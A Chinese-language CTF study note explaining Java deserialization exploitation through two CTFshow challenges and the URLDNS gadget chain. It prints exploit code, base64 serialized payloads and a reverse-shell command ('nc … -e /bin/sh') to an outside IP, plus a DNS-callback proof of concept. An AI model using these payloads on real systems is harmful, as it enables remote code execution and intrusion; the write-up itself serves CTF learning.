【心得】java反序列化漏洞利用启蒙个人笔记

目录

前置基础概念

java的反序列化利用概念baby题

例题1

例题2

java反序列化启蒙小结:

URLDNS链

一句话总结:

简单分析:

利用点:

示例:


前置基础概念

序列化  类实例->字节流

反序列化  字节流->类实例


序列化  writeObject

反序列化  readObject


类要能序列化满足的条件:

1 实现java.io.Serializeble接口

2 该类的所有属性必须都是可序列化,如果有一个属性是不可序列化的,那么这个属性必须注明是transient或static


反序列化漏洞利用条件:

1 有反序列化接口,能够提交序列化的数据,会自动调用对应类的readObject方法

2 有可以利用的类 readObject通过跳板,最终可以实现文件读取、写入或者执行

3 serialVersionUID 相同来确保序列化和反序列化的类版本一致

java的反序列化利用概念baby题

例题1

web98

题目附件:

package com.ctfshow.entity;public class User implements Serializable {private static final long serialVersionUID = -3254536114659397781L;private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);}
}

先本地测一下

贴出测试的代码

package com.ctfshow.entity;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User implements Serializable {private static final long serialVersionUID = -3254536114659397781L;private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);}
}
package main;import com.ctfshow.entity.User;
import util.SerializeUtil;import java.io.IOException;
import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {User user = new User("calc");String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(user)));System.out.println(payload);SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));}
}
package util;import java.io.*;public class SerializeUtil {public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);Object o = objectInputStream.readObject();return o;}
}

成功弹出计算器

 最终exp

package main;import com.ctfshow.entity.User;
import util.SerializeUtil;import java.io.IOException;
import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {User user = new User("nc 124.222.136.33 1337 -e /bin/sh");String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(user)));System.out.println(payload);
//        SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));}
}

payload:

userData=rO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC+9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA==

反弹shell成功,拿flag

当ban掉反序列化漏洞的类,可以反序列化其子类,也可以反序列化其父类

例题2

web100

简单打一下,发现User类被ban不让反序列化了

审一下源码发现User类的父类BaseUser有恶意readObject方法可利用,所以我们可以反序列化它的父类

题目附件:

package com.ctfshow.entity;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User extends BaseUser implements Serializable {private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}
}
package com.ctfshow.entity;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class BaseUser implements Serializable {private static final long serialVersionUID = -9058183616471264199L;public String secret=null;private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.secret);}}

还是用上一题的Util类来辅助生成payload

但UserMain的exp要改一下

package main;import com.ctfshow.entity.BaseUser;
import com.ctfshow.entity.User;
import util.SerializeUtil;import java.io.IOException;
import java.util.Base64;public class UserMain {public static void main(String[] args) throws IOException, ClassNotFoundException {BaseUser baseUser = new BaseUser();baseUser.secret="nc 124.222.136.33 1337 -e /bin/sh";String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(baseUser)));System.out.println(payload);
//        SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes()));}
}

payload:

userData=rO0ABXNyABtjb20uY3Rmc2hvdy5lbnRpdHkuQmFzZVVzZXKCSt3+PfeUOQIAAUwABnNlY3JldHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAhbmMgMTI0LjIyMi4xMzYuMzMgMTMzNyAtZSAvYmluL3No

发现成功弹shell了

但题目显示反序列化错误

这是为什么呢?

因为反序列化的时候涉及到一个类型强转

user = (User) safeObjectInputStream.readUnshared();

毕竟父类和子类属性方法不完全相同,故会报错

但报错无妨,BaseUser的readObject方法已经执行了,达成了RCE的效果。

java反序列化启蒙小结:

1 需要有1个提交反序列化字节流的地方

2 有可以被利用的类,存在readObject方法

3 类反序列化后,类实例已不再关注,我们重点是执行了恶意readObject方法

URLDNS链

一句话总结:

不需要其他依赖,原生java库,支持反序列化后,触发一次dns请求


HashMap

存放键值对的集合

为了验证键有没有重复,会对键 进行取哈希值操作

hashCode  相同,就认为集合里面有这个键了,为了避免一个键对应多个值,所以会覆盖

简单分析:

利用两个类

HashMap 和URL 类

HashMap存在 readObject方法,putVal里调用了hash方法,处理自己的key

hash方法,调用了key的hashCode方法

当我们传入的KEY是URL对象的时候,就会调用URL对象的hashCode

URL类的hashCode方法,只要自己的hashCode是-1 ,就会调用自己handler属性的hashCode方法

handler是URLStreamHandler类,它的hashCode方法

调用了getHostAddress方法

调用了URL类的getHostAddress方法

最终调用了 InetAddress.getByName(host); 实现了一次DNS请求。

利用点:

1 验证反序列化漏洞存在 ,适合poc用

2 判断对方服务器是否出网

示例:

package com.ctfshow.entity;import util.SerializeUtil;import java.io.IOException;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;public class CtfshowMain {public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {Map map = new HashMap<Object,Object>();URL url = new URL("http://success.ybdc5g9cxiy4b2muudcdlnfv4macy1.burpcollaborator.net");Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");((Field) field).setAccessible(true);field.set(url,-1);map.put(url,"ctfshow");byte[] data = SerializeUtil.serialize(map);SerializeUtil.unSerialize(data);}
}

用Burp自带的Collaborator Client做dnslog

成功接收到dns请求

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/641873.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c#入门

目录 1. C#简介2. 开发环境3. 基本语法3.1 Hello World3.2 变量和数据类型3.3 控制流和循环 4. 函数和类5. 学习资源 C#&#xff08;读作C Sharp&#xff09;是一种由微软开发的面向对象的编程语言&#xff0c;它结合了C和C的优点&#xff0c;具有强大的功能和广泛的应用领域。…

卡尔曼滤波器原理By_DR_CAN 学习笔记

DR_CAN卡尔曼滤波器 Kalman Filter Recursive Algorithm迭代过程 数学基础正态分布和6-SigmaData FusionCovariance MatrixState Space Representation离散化推导 linearizationTaylor Series2-DSummary Step by Step Derivation of Kalman Gain矩阵求导公式 Prior / Posterio…

如何在Docker上运行Redis

环境: 1.windows系统下的Docker deckstop 1.Pull Redis镜像 2.运行Redis镜像 此时,Redis已经启动&#xff0c;我们登录IDEA查看下是否连接上了 显示连接成功&#xff0c;证明已经连接上Docker上的Redis了

积分梳状滤波器CIC原理与实现

CIC&#xff08;Cascade Intergrator Comb&#xff09;&#xff1a;级联积分梳状滤波器&#xff0c;是由积分器和梳状滤波器级联而得。滤波器系数为1&#xff0c;无需对系数进行存储&#xff0c;只有加法器、积分器和寄存器&#xff0c;资源消耗少&#xff0c;运算速率高&#…

如何基于 ESP32 芯片测试 WiFi 连接距离、获取连接的 AP 信号强度(RSSI)以及 WiFi吞吐测试

测试说明&#xff1a; 测试 WiFi 连接距离&#xff0c;是将 ESP32 作为 WiFi Station 模式来连接路由器&#xff0c;通过在开阔环境下进行拉距来测试。另外&#xff0c;可以通过增大 WiFi TX Power 来增大连接距离。 获取连接的 AP 信号强度&#xff0c;一般可以通过 WiFi 扫描…

C语言斐波那契数

题目&#xff1a;求第N个斐波那契数 斐波那契数列&#xff1a;斐波那契数列&#xff08;Fibonacci sequence&#xff09;&#xff0c;又称黄金分割数列 &#xff0c;因数学家莱昂纳多斐波那契&#xff08;Leonardo Fibonacci&#xff09;以兔子繁殖为例子而引入&#xff0c;故…

24种设计模式之结构型模式-Java版

软件设计模式是前辈们代码设计经验的总结&#xff0c;可以反复使用。设计模式共分为3大类&#xff0c;创建者模式(6种)、结构型模式(7种)、行为型模式(11种)&#xff0c;一共24种设计模式&#xff0c;软件设计一般需要满足7大基本原则。下面通过5章的学习一起来看看设计模式的魅…

Java应用崩溃的排查流程

目录 分析问题 hs_err_pid.log 上周排查了一个java应用的崩溃问题&#xff0c;在这里记录一下。 分析问题 首先是排查到/tmp目录下有很多的core文件&#xff0c;形式类似&#xff1a; core-18238-java-1705462412 1.3 GB 程序崩溃数据 2024-01-17 11:33:44 core-18108…

Leetcode28-合并相似的物品(2363)

1、题目 给你两个二维整数数组 items1 和 items2 &#xff0c;表示两个物品集合。每个数组 items 有以下特质&#xff1a; items[i] [valuei, weighti] 其中 valuei 表示第 i 件物品的 价值 &#xff0c;weighti 表示第 i 件物品的 重量 。 items 中每件物品的价值都是 唯一…

jasypt集成spring-boot原理解析

背景 每个应用都有很多配置项&#xff0c;有些配置项对外非常敏感&#xff0c;例如数据库连接密码、私钥等。使用明文存在泄露的风险&#xff0c;生产环境要配合加密算法。jasypt是一个方便、流行的加密工具&#xff0c;支持PBE、AEC和对称加密。它与spring-boot的集成度很高&…

语义分割常用评价指标

在图像处理领域中&#xff0c;语义分割是很重要的一个任务。在实际项目开发中,评估模型预测效果以及各指标的含义对于优化模型极为重要。 本文将主要评价指标的计算算法进行了详细说明,并加上注释解释每个指标的含义。这对理解各指标背后的数学原理以及能否在实践中应用或许有…

对接银行、第三方机构思考

对接银行、第三方机构思考 前置工作 1、产品对接(商务+产品) ①了解准入流程,需要签署哪些协议、合约场景、额度、费率等,估算内部准入流程需要时间判断是否对项目上线排期有影响 ②是否符合自己所要承接的业务场景,有哪些合适,有哪些不合适,不合适的地方对方是否有备…

GPS位置虚拟软件 AnyGo mac激活版

AnyGo for Mac是一款一键将iPhone的GPS位置更改为任何位置的强大软件&#xff01;使用AnyGo在其iOS或Android设备上改变其GPS位置&#xff0c;并在任何想要的地方显示自己的位置。这对那些需要测试应用程序、游戏或其他依赖于地理位置信息的应用程序的开发人员来说非常有用&…

Python - SnowNLP 情感分析与自定义训练

目录 一.引言 二.SnowNLP 情感分析 1.安装 SnowNLP 2.测试 SnowNLP 三.SnowNLP 自定义训练 1.数据集准备 2.训练与保存 3.模型替换 4.模型测试 5.SnowNLP 原理 ◆ Bayes 公式 ◆ 先验概率 ◆ 后验概率 ◆ 情感模型 四.总结 一.引言 SnowNLP 是一个基于 Python …

网络安全产品之认识防毒墙

在互联网发展的初期&#xff0c;网络结构相对简单&#xff0c;病毒通常利用操作系统和软件程序的漏洞发起攻击&#xff0c;厂商们针对这些漏洞发布补丁程序。然而&#xff0c;并不是所有终端都能及时更新这些补丁&#xff0c;随着网络安全威胁的不断升级和互联网的普及&#xf…

Android双指缩放ScaleGestureDetector检测放大因子大图移动到双指中心点ImageView区域中心,Kotlin

Android双指缩放ScaleGestureDetector检测放大因子大图移动到双指中心点ImageView区域中心&#xff0c;Kotlin 在 Android双击图片放大移动图中双击点到ImageView区域中心&#xff0c;Kotlin-CSDN博客 基础上&#xff0c;这次使用ScaleGestureDetector检测两根手指的缩放动作&a…

Python如何叠加两张图片

我这里有如下两张图片&#xff0c;需要把他们叠加在一起&#xff0c;进行查看。这两张图片的大小都是300 300。不拼接在一起就不方便查看。需要把左边的小图&#xff0c;放到右边大图的中间。 一、拼接两个图片的代码 要解决这个问题&#xff0c;你可以使用fromarray()方法将…

JoyRL Actor-Critic算法

策略梯度算法的缺点 这里策略梯度算法特指蒙特卡洛策略梯度算法&#xff0c;即 REINFORCE 算法。 相比于 DQN 之类的基于价值的算法&#xff0c;策略梯度算法有以下优点。 适配连续动作空间。在将策略函数设计的时候我们已经展开过&#xff0c;这里不再赘述。适配随机策略。由…

MATLAB数据处理: 每种样本类型随机抽样

tn5;% 每种类型随机抽样数 indextrain[];% 训练样本序号集 for i1:typenumber index301 find(typemat i); n2length(index301); index302randperm(n2); index401index301(index302(1:tn)); indextrain[indextrain; index401]; end 该代码可以对大样…

java进阶

文章目录 一、Java进阶1.注解&#xff08;Annotation&#xff09;a.内置注解b.元注解c.自定义注解 2.对象克隆3. Java设计模式&#xff08;Java design patterns&#xff09;a.软件设计模式概念b.建模语言&#xff08;UML&#xff09;c.面向对象设计原则d.设计模式 总结面向对象…